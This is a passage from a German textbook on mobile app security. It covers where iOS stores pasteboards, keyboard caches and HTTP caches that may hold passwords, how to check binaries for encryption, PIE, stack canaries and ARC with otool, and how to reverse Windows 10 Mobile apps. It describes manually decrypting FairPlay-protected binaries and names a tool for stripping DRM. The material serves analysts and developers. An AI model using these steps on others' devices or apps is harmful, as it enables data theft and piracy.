öffentlich.<br />
pasteBoardWithName sowie auch pasteBoardWithUniqueName sind seit iOS 7 private<br />
Zwischenablagen, auf die nur Applikationen zugreifen können, die in<br />
einer vorher definierten Gruppe Mitglied sind.<br />
Möchte man also zwischen mehreren eigenen Applikationen Daten austauschen,<br />
und zwar so, dass keine andere Applikation darauf zugreifen kann, so kann man<br />
eine eigene Gruppe definieren und Daten über ein Pasteboard des Typs paste-<br />
BoardWithUniqueName austauschen. Hierbei kann man als Entwickler sogar zulassen,<br />
dass dieses Pasteboard nach einem Neustart noch vollständig vorhanden ist.<br />
Der Nachteil ist jedoch auch leicht erklärt: Diese Pasteboards werden von iOS<br />
im Dateisystem unter dem Pfad /private/var/mobile/Library/Caches/com.apple<br />
.UIKit.pboard/ abgelegt und genau dort sind sie für einen Angreifer oder Analysten<br />
auch einfach zu finden. Wer nicht manuell durch das Dateisystem suchen<br />
möchte, kann an dieser Stelle auch idb verwenden, das Tool erlaubt es, sowohl
6.4 Spurensuche im Dateisystem 169<br />
die öffentlichen als auch privaten Pasteboards (sofern man ihren Namen kennt)<br />
auszulesen.<br />
Verwendet eine Applikation hingegen die öffentlichen Pasteboards UIPaste-<br />
BoardNameGeneral und UIPasteBoardNameFind, so kann jede andere Applikation –<br />
auch ohne Jailbreak – auf diese Zwischenablagen zugreifen und dort nach speziellen<br />
Werten oder Inhalten suchen. Gerade Passwortmanager sind hierfür anfällig,<br />
da sie die gespeicherten Passwörter in die Zwischenablage schieben, um<br />
sie in jeder anderen Applikation für den Nutzer verfügbar zu machen, wenn er<br />
dies wünscht. In Abbildung 6–17 sehen wir die Zwischenablage, nachdem wir innerhalb<br />
einer Notiz einen Textausschnitt kopiert haben, um ihn in einer anderen<br />
Applikation wieder einfügen zu können.<br />
Abb. 6–17: iOS-Zwischenablage<br />
Eine Sicherheitsmaßnahme gibt es jedoch: Der Entwickler einer solchen Applikation<br />
kann veranlassen, dass die Zwischenablage gelöscht wird, sobald die Applikation,<br />
die die Daten in das entsprechende Pasteboard gelegt hat, geschlossen<br />
wird (dies gelingt durch Setzen von pasteBoard.items = nil beim Schließen der<br />
Applikation). Hiermit kann man zwar einen Angriff nicht vermeiden, aber der<br />
Zeitraum in dem ein solcher Angriff erfolgreich ist, wird deutlich reduziert.<br />
6.4.6 Die systemeigenen Caches<br />
iOS besitzt eine Vielzahl von Caches, in denen vertrauliche oder zumindest sensible<br />
Daten des Nutzers oder einer Applikation landen können. Im Folgenden<br />
werden wir uns jedoch nur auf die beiden – aus Analystensicht wichtigsten –<br />
Caches des iOS-Systems beschränken:<br />
■<br />
■<br />
Keyboard-Cache<br />
HTTP-Response-Cache<br />
Keyboard-Cache<br />
Der Keyboard-Cache wird von iOS standardmäßig bei allen Eingaben des Nutzers<br />
verwendet, um die automatische Rechtschreibkorrektur zu verbessern und<br />
auf den Nutzer des Smartphones oder Tablets besser abzustimmen. Hierzu speichert<br />
iOS jedes getippte Wort in eine spezielle Datei im Dateisystem de_DE-
170 6 Sicherheitsprobleme bei iOS-Applikationen<br />
dynamic-text.dat (je nach eingestellter Sprache hat diese Datei ein anderes Präfix).<br />
Diese Datei finden wir unter /var/mobile/Library/Keyboard/. In einem Unterverzeichnis<br />
hiervon finden wir auch das Nutzerwörterbuch, das alle Wörter enthält,<br />
die der Nutzer verwendet hat, iOS aber zuvor nicht in seinem systemeigenen Wörterbuch<br />
gelistet hatte.<br />
Da sehr häufig gerade Passwörter und Nutzernamen, aber auch Namen von<br />
neuen Produkten bzw. interne Projektnamen, Kombinationen aus Buchstaben<br />
enthalten, die nicht im systemeigenen Wörterbuch stehen, liegen die Chancen<br />
groß, dass es diese Wörter in den Keyboard-Cache – aber vor allem auch in<br />
das Nutzerwörterbuch – schaffen. Um dies zu verhindern, kann der Entwickler<br />
Eingabefelder, von denen er weiß, dass sie sensible Daten verarbeiten (wie<br />
z. B. Passwortfelder), dagegen schützen, dass deren Inhalt in den Keyboard-Cache<br />
wandert. Dies gelingt durch explizites Setzen der secureTextEntry = YES-Markierung<br />
oder durch Ausschluss von der Autokorrektur per autocorrectionType =<br />
UITextAutocorrectionTypeNo.<br />
HTTP-Response-Cache<br />
Im Gegensatz zum Keyboard-Cache aus dem vorherigen Abschnitt ist der HTTP-<br />
Response-Cache privat und liegt innerhalb der geschützten Sandbox einer Applikation.<br />
Nichtsdestotrotz können wir als Analyst auf diese Daten zugreifen und<br />
auch ein Angreifer, der erfolgreich einen Jailbreak auf dem Gerät durchführen<br />
konnte, hat Zugriff auf diese Daten.<br />
iOS-Applikationen verwenden zum Anzeigen von Webseiten oder zum Aufrufen<br />
von webbasierten-APIs sehr häufig die UIWebView. Diese erlaubt es – und macht<br />
dies auch standardmäßig –, lokal auf dem Endgerät einen Cache zu erzeugen, in<br />
dem Anfragen und deren Antworten von HTTP- und HTTPS-Verbindungen zwischengespeichert<br />
werden. Beinhalten diese Requests und Responses vertrauliche<br />
Daten, wie z. B. Passwörter oder Dokumente, so gelangen sie über das Caching<br />
auf das lokale Dateisystem des iOS-Engerätes, wo wir sie finden und analysieren<br />
können.<br />
Die so erzeugten Caches befinden sich an folgenden Stellen innerhalb der<br />
Applikations-Sandbox (/var/mobile/Containers/Data/Application// Library/Caches//):<br />
■<br />
■<br />
■<br />
■<br />
Cache.db: der systemeigene HTTP-Response-Cache der Applikation<br />
*.localstorage: Offline-Storage einer HTML5-Applikation<br />
file__0/*.db: Offline-Datenbanken einer HTML5-Applikation<br />
Databases.db: Offline-Datenbanken einer HTML5-Applikation<br />
Zum Analysieren dieser Dateien ist es am einfachsten, den SQLiteBrowser oder<br />
File Juicer10 zu verwenden. Letzterer bietet die Funktion, sich alle Dateien inner-<br />
10 File Juicer: http://echoone.com/de/filejuicer/index.php
6.5 Fehlende systemeigene Sicherheitsfunktionen ... 171<br />
halb des Caches in eine Ordnerstruktur extrahieren zu lassen, was das manuelle<br />
Betrachten oder Durchsuchen deutlich einfacher macht.<br />
Applikationen, die vertrauliche oder personenbezogene Daten verarbeiten,<br />
sollten das Caching entweder deaktiviert haben (siehe Codebeispiel 6–21) oder<br />
den Cache nach Beendigung der Applikation leeren (siehe Codebeispiel 6–22).<br />
Mit diesen beiden Codefragmenten kann der Entwickler der Applikation den Zugriff<br />
auf eventuell zwischengespeicherte sensible Daten für unberechtigte Dritte<br />
komplett – oder zumindest nach Beenden der Applikation – verhindern.<br />
NSURLCache *urlCache = [[NSURLCache alloc] init];<br />
[urlCache setDiskCapacity:0];<br />
[NSURLCache setSharedURLCache:urlCache];<br />
Codebeispiel 6–21: Deaktivieren des NSURLCache durch Setzen einer Größenbeschränkung für<br />
den Cache<br />
[[NSURLCache sharedURLCache] removeAllCachedResponses];<br />
Codebeispiel 6–22: Leeren des NSURLCache<br />
6.5 Fehlende systemeigene Sicherheitsfunktionen in<br />
iOS-Applikationen erkennen<br />
Apple stellt für seine iOS-Applikationen nativ schon eine ganze Menge an Funktionen<br />
und Schutzkonzepte bereit, die es einem Angreifer oder Sicherheitsanalysten<br />
deutlich erschweren, Schwachstellen in den Applikationen zu erkennen und<br />
auszunutzen. Hierzu zählen u. a. die Verschlüsselung der Binaries und Schutz der<br />
in den Speicher geladenen Bestandteile der Applikation zur Laufzeit. Die meisten<br />
Applikationen, die wir in freier Wildbahn finden, halten sich an diese Vorgaben<br />
und sollten somit keine negativen Findings bezüglich der in den folgenden<br />
Abschnitten gezeigten Kriterien aufweisen. Da es aber immer mehr IDEs zum<br />
Entwickeln von Applikationen gibt und nicht alle diese Eigenschaften so ernst<br />
nehmen wie Xcode, sollten diese Schutzmaßnahmen auf jeden Fall bei jeder Applikation<br />
überprüft werden.<br />
6.5.1 Codeverschlüsselung<br />
Applikationen, die über den offiziellen App-Store bereitgestellt werden, haben<br />
dort von Apple einen Raubkopierschutz in Form von Digital Rights Management<br />
(DRM) erhalten. Apple bezeichnet diese Technik als FairPlay, was eigentlich<br />
nichts anderes als eine Verschlüsselung des Executables ist. Das verschlüsselte<br />
Executable wird erst zur Laufzeit auf dem iOS-Endgerät durch den Mach-O-<br />
Loader wieder entschlüsselt.
172 6 Sicherheitsprobleme bei iOS-Applikationen<br />
Um Informationen über die Strukturen einer Applikation zu erhalten, müssen<br />
wir zum einen erfahren, ob ein Binary überhaupt mit dieser Technik verschlüsselt<br />
wurde, und zum anderen, wie wir diese Verschlüsselung rückgängig machen<br />
können. Die zweite Frage ist recht einfach und wurde von uns bereits in Abschnitt<br />
5.3.3 beantwortet – hier haben wir gezeigt, wie man mittels dumpdecrypted<br />
automatisiert an das entschlüsselte Binary gelangt.<br />
Bevor man jedoch versucht, das Binary automatisiert zu entschlüsseln, sollte<br />
man erst prüfen, ob das Binary überhaupt verschlüsselt ist. Dies können wir durch<br />
Verwendung des in Abschnitt 6.1.1 vorgestellten otool herausfinden (siehe dazu<br />
Codebeispiel 6–23).<br />
$: unzip LoginNative.ipa<br />
$: cd Payload/LoginNative.app/<br />
$: otool -l LoginNative | grep -A 4 LC_ENCRYPTION_INFO<br />
cmd LC_ENCRYPTION_INFO<br />
cmdsize 20<br />
cryptoff 16384<br />
cryptsize 32768<br />
cryptid 1<br />
Codebeispiel 6–23: Ausgabe der Position des verschlüsselten Bereichs einer Applikation<br />
mittels otool<br />
Der Bereich LC_ENCRYPTION_INFO gibt uns wichtige Informationen darüber, ob das<br />
Binary verschlüsselt ist und wo der entschlüsselte Bereich zur Laufzeit liegt. Wie<br />
hier zu sehen ist, zeigt der Wert cryptid an, dass das Binary verschlüsselt ist.<br />
Nun ist also die Frage, wo finden wir zur Laufzeit das entschlüsselte Binary,<br />
wenn wir es nicht mittels dumpdecrypted automatisiert finden und entschlüsseln<br />
wollen?<br />
Diese Speicheradressen lassen sich recht einfach berechnen. Zur Laufzeit der<br />
Applikation müssen wir uns nur mit einem Debugger – wie z. B. gdb – an die Applikation<br />
anhängen und die Rückgabe des Befehls info sharedlibrary auswerten.<br />
Hier erfahren wir die Adresse im Speicher mit dem Startpunkt der Applikation.<br />
Auf diese Adresse rechnen wir nun den in Codebeispiel 6–23 ausgegebenen Offset<br />
(cryptoff) hinzu. So erhalten wir die Speicheradresse, an der unser entschlüsseltes<br />
Binary beginnt. Mithilfe dieser errechneten Stelle und der angegebenen Größe<br />
des Binaries (cryptsize) können wir nun durch Anwenden des Befehls dump memory<br />
unser entschlüsseltes Binary aus dem Speicher in eine lokale Datei schreiben.<br />
Als vorletzten Schritt müssen wir nur noch das entschlüsselte Binary an genau<br />
die Stelle in der Applikation schreiben, an der zuvor das verschlüsselte Binary<br />
stand. Dies gelingt am einfachsten per dd. Der letzte Schritt ist etwas kniffeliger,
6.5 Fehlende systemeigene Sicherheitsfunktionen ... 173<br />
wir müssen mit einem Hex-Editor die Stelle in der Applikation finden, wo der<br />
ursprüngliche Wert von cryptid hinterlegt ist, und ihn auf 0 ändern.<br />
Die Information, ob das Binary entschlüsselt vorliegt, bekommen wir auch,<br />
wenn wir wie in Abschnitt 6.1.3 gezeigt, idb verwenden (siehe dazu Abbildung<br />
6–18).<br />
Abb. 6–18: Mittels idb anzeigen lassen, ob ein Binary verschlüsselt ist<br />
Wie man an diesem Beispiel gut sieht, gibt es auch Applikationen, die nicht verschlüsselt<br />
sind. Dies hat meist den Grund, dass die Applikation nicht über den<br />
offiziellen App-Store bezogen wurde, sondern über einen App-Store, der Teil eines<br />
<strong>Mobile</strong> Device Management (MDM) ist.<br />
6.5.2 Address Space Layout Randomization<br />
Address Space Layout Randomization (ASLR) wurde von Apple in iOS 4.3 eingeführt<br />
und sorgt dafür, dass Bibliotheken, das eigentliche Executable sowie der<br />
Stack und der Heap in nicht vorherberechenbare Speicherbereiche geladen werden.<br />
Dies macht einen Angriff auf fehlerhafte oder ausnutzbare Funktionsbausteine<br />
einer Applikation deutlich schwerer, da der Angreifer nicht im Vorhinein<br />
weiß, an welcher Stelle im Speicher die entsprechenden Bestandteile der Applikation<br />
liegen. Damit dieser Schutz ohne Nachteile für die Applikation und deren<br />
Ausführung funktionieren kann, muss die Applikation als Position-Independent<br />
Executable (PIE) gebaut werden. Hiermit wird dem Compiler mitgeteilt, dass er<br />
die Applikation darauf auslegen soll, dass ihre Bestandteile überall im Speicher<br />
liegen können und deren Position nicht fest ist.<br />
Um als Entwickler sicherzustellen, dass diese Eigenschaften für die eigene<br />
Applikation auch erfüllt sind, muss gewährleistet sein, dass die in Abbildung 6–19<br />
und Abbildung 6–20 markierten Settings eingestellt sind und dass als minimale<br />
iOS-Version 4.3 angegeben ist (dies ist in aktuellen Xcode-Projekten jedoch der<br />
Standard).
174 6 Sicherheitsprobleme bei iOS-Applikationen<br />
Abb. 6–19: Einstellungen in Xcode, um ein Position-Independent Executable (PIE) zu erzeugen:<br />
Linking<br />
Abb. 6–20: Einstellungen in Xcode, um ein Position-Independent Executable (PIE) zu erzeugen:<br />
Code Generation<br />
Möchten wir als Analysten wissen, ob ein Entwickler diesem Standard gefolgt ist<br />
oder seine Applikation einem erhöhten Risiko ausgesetzt ist, können wir dies mit<br />
dem in Abschnitt 6.1.1 vorgestellten otool prüfen (siehe dazu Codebeispiel 6–24).<br />
$: unzip LoginNative.ipa<br />
$: cd Payload/LoginNative.app/<br />
$: otool -vh LoginNative<br />
LoginNative (architecture armv7):<br />
Mach header<br />
magic cputype cpusubtype caps filetype ncmds sizeofcmds flags<br />
MH_MAGIC ARM V7 0x00 EXECUTE 23 2752 NOUNDEFS DYLDLINK TWOLEVEL PIE
6.5 Fehlende systemeigene Sicherheitsfunktionen ... 175<br />
LoginNative (architecture arm64):<br />
Mach header<br />
magic cputype cpusubtype caps filetype ncmds sizeofcmds flags<br />
MH_MAGIC_64 ARM64 ALL 0x00 EXECUTE 23 3320 NOUNDEFS DYLDLINK TWOLEVEL PIE<br />
Codebeispiel 6–24: Prüfen der ASLR- und PIE-Voraussetzungen einer Applikation mittels otool<br />
Wie in diesem Beispiel zu sehen ist, liefert die Ausgabe von otool für jede im Binary<br />
enthaltene Architektur das PIE-Flag, das angibt, dass die Applikation konform<br />
zu unseren beschriebenen Voraussetzungen gebaut wurde.<br />
Noch etwas einfacher geht das Ganze, wenn wir, wie in Abschnitt 6.1.3 gezeigt,<br />
idb verwenden. Hier wird uns das PIE-Flag direkt im Hauptfenster angezeigt<br />
(siehe dazu Abbildung 6–21).<br />
Abb. 6–21: Anzeigen des aktivierten PIE-Flags in idb<br />
Alle von Apple selbst erstellten Applikationen besitzen dieses Flag seit iOS 5,<br />
doch dies ist bei Applikationen von anderen Entwicklern nicht immer der Fall<br />
und sollte deshalb auf jeden Fall überprüft werden.<br />
6.5.3 Stack-Smashing-Schutz<br />
Ein weiteres bekanntes Problem sind sogenannte Buffer-Overflows, bei denen<br />
der Angreifer oder Analyst versucht, Speicherbereiche so zu überschreiben, dass<br />
er Sprungmarken oder Zeiger im Speicher verändern kann. Hierdurch ist es ihm<br />
dann möglich, die eigentliche Funktion einer Applikation zu verändern. Um dies<br />
zu erschweren, hat Apple eine weitere Schutztechnik eingeführt, die in Xcode<br />
automatisch aktiviert wird beim Erstellen von Applikationen: Stack Canaries.<br />
Diese Canaries, oder umgangssprachlich auch Informanten genannt, sind im<br />
Wesentlichen nichts anderes als Marker im Speicher, die anzeigen, ob ein Puffer<br />
übergelaufen ist oder andere Manipulationen am Speicher vorgenommen wurden.<br />
Die iOS-Applikation schreibt zur Laufzeit an bestimmte Stellen im Speicher –
176 6 Sicherheitsprobleme bei iOS-Applikationen<br />
meist direkt vor lokale Variablen – vordefinierte Werte. Zur Laufzeit werden diese<br />
Werte dann überprüft, bevor die eigentliche Variable eingelesen wird. Beinhaltet<br />
sie noch den bekannten Wert, so scheint der Speicher noch intakt und die Variable<br />
wird eingelesen. Enthält die Canary einen anderen Wert, so ist das ein Zeichen<br />
für Manipulation und der Programmfluss wird unterbrochen, was ein Ausführen<br />
der manipulierten Speicheradressen verhindert.<br />
Xcode verwendet zum Platzieren dieser Marker den LLVM-Compiler und<br />
dessen Heuristik, um den Stack vor sogenanntem Smashing zu schützen.<br />
Wenn wir als Sicherheitsanalysten nun prüfen wollen, ob die fragwürdige Applikation<br />
über einen aktivierten Stack-Smashing-Schutz verfügt, so können wir<br />
wieder das in Abschnitt 6.1.1 vorgestellte otool verwenden (siehe dazu Codebeispiel<br />
6–25).<br />
$: unzip LoginNative.ipa<br />
$: cd Payload/LoginNative.app/<br />
$: otool -Iv LoginNative | grep stack<br />
0x0000ffbc 20 ___stack_chk_fail<br />
0x000100c4 20 ___stack_chk_fail<br />
0x0001011c 21 ___stack_chk_guard<br />
Codebeispiel 6–25: Prüfen des Stack-Smashing-Schutzes einer Applikation mittels otool<br />
Das Vorhandensein der Symbole stack_chk_fail und stack_chk_guard weist darauf<br />
hin, dass der Stack-Smashing-Schutz bei dieser Testapplikation aktiviert ist.<br />
Wie schon bei ASLR geht es auch in diesem Fall noch etwas einfacher, wenn<br />
wir, wie in Abschnitt 6.1.3 gezeigt, idb verwenden (siehe dazu Abbildung 6–22).<br />
Abb. 6–22: Anzeigen des aktivierten Stack-Smashing-Schutzes in idb
6.5 Fehlende systemeigene Sicherheitsfunktionen ... 177<br />
6.5.4 Automatic Reference Counting<br />
Automatic Reference Counting (ARC) wurde von Apple in iOS 5.0 eingeführt<br />
und sorgt dafür, dass das Management des verwendeten Speichers – und alles<br />
was hierzu gehört – nun nicht mehr vom Entwickler, sondern vom Compiler<br />
selbst übernommen wird. Als weiterer Vorteil, der zu einer optimierten und schonenden<br />
Speichernutzung hinzukommt, sind auch sicherheitsrelevante Fehler der<br />
Entwickler wie z. B. use-after-free und double-free nun nicht mehr möglich, da<br />
sie vom Compiler bereits beim Erzeugen der Applikation verhindert werden.<br />
Im Gegensatz zu den zuvor gezeigten Schutzmechanismen ASLR und Stack<br />
Canaries kann ARC auch nur auf einzelne Objekte im Quellcode der Applikation<br />
angewendet werden. Hierdurch ist es deutlich schwerer für uns als Sicherheitsanalysten<br />
herauszufinden, ob ARC auch wirklich für die gesamte Applikation<br />
und all ihre Objekte aktiviert ist.<br />
Am einfachsten für uns geht das Ganze, wenn wir, wie in Abschnitt 6.1.3<br />
gezeigt, idb verwenden (siehe dazu Abbildung 6–23).<br />
Abb. 6–23: Anzeigen des aktivierten ARC-Flags in idb<br />
Aber auch hier können wir wieder manuell mit dem in Abschnitt 6.1.1 vorgestellten<br />
otool prüfen, ob es Hinweise auf die Verwendung von ARC gibt (siehe dazu<br />
Codebeispiel 6–26).<br />
$: unzip LoginNative.ipa<br />
$: cd Payload/LoginNative.app/
178 6 Sicherheitsprobleme bei iOS-Applikationen<br />
$: otool -Iv LoginNative | grep retain<br />
0x0000ff84 71 _objc_retain<br />
0x0000ff88 72 _objc_retainAutoreleasedReturnValue<br />
0x0001008c 71 _objc_retain<br />
0x00010090 72 _objc_retainAutoreleasedReturnValue<br />
0x0001014c 71 _objc_retain<br />
Codebeispiel 6–26: Prüfen auf aktiviertem ARC einer Applikation mittels otool<br />
Wichtig ist hierbei, dass wir nach Bezeichnungen suchen, die nur bei aktiviertem<br />
Automatic Reference Counting vorhanden sind. Dazu zählen u. a. die Folgenden:<br />
■<br />
■<br />
■<br />
■<br />
objc_autoreleaseReturnValue<br />
objc_release<br />
objc_retain<br />
objc_storeStrong<br />
6.6 Zusammenfassung<br />
In diesem Kapitel haben wir uns angesehen, welche Schwachstellen eine iOS-<br />
Applikation potenziell haben kann und wie man diese entdecken und schließlich<br />
auch ausnutzen kann. Dabei sind wir nicht nur auf die unsachgemäße Handhabung<br />
von personenbezogenen Daten eingegangen, sondern auch auf Klassiker wie<br />
den vergessenen Schutz von Snapshots und von HTTP-Response-Cache.<br />
Wie man in diesem Kapitel sehr schön sehen kann, ist eine forensische Analyse<br />
der Dateien innerhalb der Sandboxen ebenso wichtig wie die zuvor gezeigten<br />
Angriffe auf den Code der Applikation. Oft findet man in diesen Dateien ungeschützte<br />
Hinweise auf Inhalte der Applikation oder auf die PIN, mit der die<br />
Applikation vor unberechtigten Dritten geschützt ist.<br />
Im letzten Abschnitt wurde noch gezeigt, wie man überprüfen kann, ob die<br />
systemeigenen Schutzmechanismen von iOS implementiert sind oder ob man hier<br />
schon erste Punkte zur Beanstandung einer Applikation findet.
179<br />
7 Reversing von<br />
Windows-10-<strong>Mobile</strong>-Applikationen<br />
Windows 10 <strong>Mobile</strong> ist im Gegensatz zu iOS und Android noch eine sehr junge<br />
Plattform, die auch nahezu keine Verbreitung in der freien Wildbahn besitzt. Aus<br />
diesem Grund steckt sie auch gerade im Bereich Reversing und Analyse noch<br />
in den Kinderschuhen. Trotzdem soll hier versucht werden, das Wissen in den<br />
beiden folgenden Kapiteln zusammenzufassen und dem Analysten zu zeigen, wo<br />
es erste Ansätze zur Analyse gibt.<br />
In diesem Kapitel beginnen wir mit dem Aufbau der Applikationen und<br />
schauen uns an, wie man bei der eigentlichen Analyse vorgehen kann, um mehr<br />
über die eigentlichen Funktionen einer Windows-10-<strong>Mobile</strong>-Applikation zu erfahren.<br />
Zugleich dient dieses Kapitel als Grundlage für das folgende Kapitel 8, in<br />
dem wir etwas tiefer in die Plattform eintauchen werden.<br />
7.1 Aufbau der Windows-10-<strong>Mobile</strong>-Applikationen<br />
Windows-10-<strong>Mobile</strong>-Applikationen werden in zwei verschiedenen Paketarten<br />
verteilt: xap (eingeführt in Windows Phone 7) und appx (eingeführt in Windows<br />
Phone 8.1). Beides sind wie auch schon bei Android und iOS ZIP-Archive, die<br />
alles enthalten, was die Applikation zur Installation und während der eigentlichen<br />
Ausführung benötigt. Dazu zählen vor allem der eigentliche Code als Binary<br />
oder .NET-Assembly, Bilder, Icons und das Manifest (WMAppManifest.xml oder<br />
AppManifest.xml), wie in Codebeispiel 7–1 zu sehen.<br />
$: unzip Mix.xap<br />
Archive: Mix.xap<br />
extracting: ApplicationIcon.png<br />
inflating: AppManifest.xaml<br />
inflating: AppResLib.dll<br />
inflating: AppResLib.dll.0401.mui<br />
inflating: AppResLib.dll.0403.mui<br />
inflating: AppResLib.dll.0404.mui<br />
....
180 7 Reversing von Windows-10-<strong>Mobile</strong>-Applikationen<br />
inflating: AppResLib.dll.0816.mui<br />
inflating: AppResLib.dll.0c0a.mui<br />
inflating: AppResLib.dll.0c0c.mui<br />
inflating: AppTileLarge.png<br />
inflating: AppTileMedium.png<br />
extracting: AppTileSmall.png<br />
....<br />
creating: View/<br />
creating: View/Images/<br />
extracting: View/Images/cancel.png<br />
extracting: View/Images/check.png<br />
inflating: VoiceCommandDefinition.xml<br />
inflating: WMAppManifest.xml<br />
inflating: ZMedia.winmd<br />
Codebeispiel 7–1: Unzip einer Windows-10-<strong>Mobile</strong>-Applikation im xap-Format<br />
Das Entpacken einer Windows-10-<strong>Mobile</strong>-Applikation ist nicht immer mit einem<br />
einfachen unzip möglich, da Microsoft bei diesen Applikationen Verschlüsselung<br />
und DRM implementiert hat. Eine Möglichkeit, diesen Schutz zu entfernen, bietet<br />
das Tool Phone7Market1 . Obwohl es für Windows Phone 7 erstellt wurde,<br />
stehen die Chancen gut, dass es auch bei aktuellen Applikationen noch seinen gewünschten<br />
Zweck erfüllt und den DRM-Schutz entfernt. Im Nachgang ist dann<br />
wieder ein einfaches Entpacken per unzip möglich.<br />
Wie wir es schon von Android kennen, besitzt auch das Manifest für die<br />
Windows-10-<strong>Mobile</strong>-Applikationen wichtige Metainformationen zur Applikation<br />
und dessen Entwickler (siehe Codebeispiel 7–2 für einen Auszug aus einem<br />
solchen Manifest). Für uns sind mit die wichtigsten Informationen aus diesem<br />
Manifest die folgenden:<br />
Author & Publisher: Diese beiden Tags geben uns Informationen dazu, wer diese<br />
Applikation entwickelt hat.<br />
Version: Versionsnummer der Applikation<br />
ProductID/ApplicationID: Ist die eindeutige ID dieser Applikation. Diese ID benötigen<br />
wir später, um die Applikation und ihre Daten im Dateisystem zu<br />
finden.<br />
Capabilities: Das sind die Features, auf die die Applikation zugreifen möchte.<br />
Viele davon müssen bei der Installation vom Nutzer bestätigt werden (ähnlich<br />
wie die Permissions bei Android).<br />
FileTypeAssociation: Gibt die Endungen von Dateien an, die mit dieser Applikation<br />
verarbeitet werden können (z. B. .xlsx).<br />
Protocol: Listet die URL-Schemata auf, für die diese Applikation registriert ist.<br />
1 Phone7Market: http://ried.cl/mobile/wp7desktopmarketplace.html
7.1 Aufbau der Windows-10-<strong>Mobile</strong>-Applikationen 181<br />
In Kapitel 8 werden wir auf einige dieser Metainformationen eingehen und zeigen,<br />
warum sie für uns einen hohen Stellenwert besitzen.<br />
<br />
<br />
<br />
<br />
ms-resource:App_Name/Text<br />
Microsoft Corporation<br />
Assets/StoreLogo.png<br />
<br />
<br />
6.3.1<br />
6.3.1<br />
<br />
<br />
<br />
....<br />
<br />
<br />
<br />
....<br />
<br />
<br />
<br />
<br />
<br />
<br />
182 7 Reversing von Windows-10-<strong>Mobile</strong>-Applikationen<br />
<br />
<br />
....<br />
<br />
<br />
<br />
....<br />
<br />
<br />
<br />
Codebeispiel 7–2: Auszug aus einem AppManifest.xml<br />
7.2 Vorgehensweisen beim Reversing von<br />
Windows-10-<strong>Mobile</strong>-Applikationen<br />
Generell gibt es zwei Möglichkeiten, wie beim Reversing von Windows-10-<br />
<strong>Mobile</strong>-Applikationen vorgegangen werden kann. Beide Versionen unterscheiden<br />
sich jedoch nur im ersten Punkt: dem Beschaffen der Applikation selbst.<br />
1. Beschaffen der Applikation selbst<br />
■<br />
■<br />
Variante A: Die Applikation liegt als xap- oder appx-Datei vor.<br />
Variante B: Wir haben Root-Zugriff auf das Endgerät.<br />
2. Eigentliches Reversing der Applikation mittels der Tools, die in Abschnitt 7.3<br />
gezeigt werden.<br />
Bei Variante A ist das Vorgehen im Wesentlichen wie schon in Abschnitt 7.1<br />
beschrieben. Wir entfernen einen eventuell vorhandenen DRM-Schutz und entpacken<br />
die Applikation im Anschluss per unzip, um so an all ihre Bestandteile zu<br />
kommen.<br />
In den meisten Fällen werden wir jedoch nicht von vornherein diese Dateien<br />
zur Verfügung haben. Daher beschreibt Variante B das Vorgehen, das<br />
wir in der realen Welt am häufigsten durchführen werden. Bei diesem Vorgehen<br />
ist es wichtig, dass wir – wie in Abschnitt 1.6.3 gezeigt – volle Root-<br />
Rechte auf unserem Testgerät besitzen, da wir nur so in die Verzeichnisse kommen,<br />
die wir benötigen. Haben wir diese Rechte, so können wir alle Installationsdateien<br />
der auf dem Endgerät vorhandenen Applikationen im Verzeichnis<br />
C:\Data\Programs\\Install\ finden. Wie man an diesem Pfad sieht, sind die<br />
Installationsverzeichnisse der Applikationen, wie wir das auch schon bei iOS gesehen<br />
haben, in Verzeichnisse mit ihrer GUID unterteilt.
7.3 Werkzeuge zum Analysieren der Applikationen 183<br />
7.3 Werkzeuge zum Analysieren der Applikationen<br />
Bei der Analyse von Applikationen – dem sogenannten Reversing – gibt es bei<br />
Windows-10-<strong>Mobile</strong>-Applikationen im Wesentlichen drei Klassen von Binaries,<br />
auf die man stoßen kann:<br />
1. .NET-Bibliotheken (oft in Form von DLL-Dateien)<br />
2. HTML- und JavaScript-Dateien<br />
3. Native Windows-Binaries<br />
Die dritte Klasse (native Windows-Binaries) ist die zugleich größte Herausforderung<br />
für uns als Analysten, da man hierbei nur auf Tools wie IDA Pro zurückgreifen<br />
kann, die sehr komplex sind und für den Laien oder ungeübten Analysten<br />
sehr unübersichtlich und kompliziert wirken. Handelt es sich hingegen um<br />
HTML- und JavaScript-Dateien, so haben wir als Analysten ein deutlich einfacheres<br />
Spiel, da hier unsere gängigen Editoren (wie z. B. Sublime Text2 oder Atom<br />
Editor3 ) den Inhalt aufbereitet und strukturiert darstellen können.<br />
Die Klasse der .NET-Bibliotheken bietet eine Art Mittelweg aus den beiden<br />
anderen Klassen an Binaries. Wir haben hier Werkzeuge wie NET reflector@.NET<br />
reflector und ILSpy, die uns helfen, den Code der Binaries wieder in<br />
eine lesbare Form zu bringen und uns bei der Analyse zu unterstützen. Diese beiden<br />
Tools wollen wir uns in den folgenden Abschnitten kurz ansehen.<br />
7.3.1 .NET reflector<br />
Der .NET reflector4 von Red-Gate ist das erste Werkzeug, das von Analysten verwendet<br />
werden kann, um die zuvor erwähnten .NET-Bibliotheken zu dekompilieren,<br />
um so wieder an eine Darstellung des Quellcodes zu kommen, die möglichst<br />
nahe am Original liegt. Dabei kann als Zielsprache der Übersetzung zwischen<br />
bekannten Sprachen wie C#, Visual Basic und Chrome gewählt werden.<br />
.NET reflector ist in der Lage, komplette Applikationen zu dekompilieren<br />
(solange sie im xap-Dateiformat vorliegen) oder einzelne DLL-Dateien.<br />
Abbildung 7–1 zeigt eine Bibliothek einer Windows-10-<strong>Mobile</strong>-Applikation,<br />
die verwendet wird, um das JSON-Format zu lesen und andere Formate in dieses<br />
umzuwandeln. Auf der linken Seite sieht man die geladenen und dekompilierten<br />
Bibliotheken sowie all ihre Klassen und Methoden (in diesem Beispiel<br />
haben wir die Bibliothek Newtonsoft.Json.dll, darin den Namespace Newtonsoft<br />
.Json.Converters und die dazugehörige Klasse RegexConverter gewählt). Auf der<br />
2 Sublime Text: http://www.sublimetext.com/<br />
3 Atom Editor: https://atom.io/<br />
4 .NET reflector:<br />
http://www.red-gate.com/products/dotnet-development/reflector/
184 7 Reversing von Windows-10-<strong>Mobile</strong>-Applikationen<br />
rechten Seite findet sich im oberen Bereich die dekompilierte Methode (in unserem<br />
Fall ReadRegexString()). Im unteren Bereich stehen auf der rechten Seite noch<br />
weitere interessante Informationen, nämlich die Verlinkung dieser Methode, also<br />
die Stellen, wo diese Methode verwendet bzw. aufgerufen wird, und alle Klassen,<br />
die benötigt werden, damit eine Ausführung überhaupt möglich ist. In diesem<br />
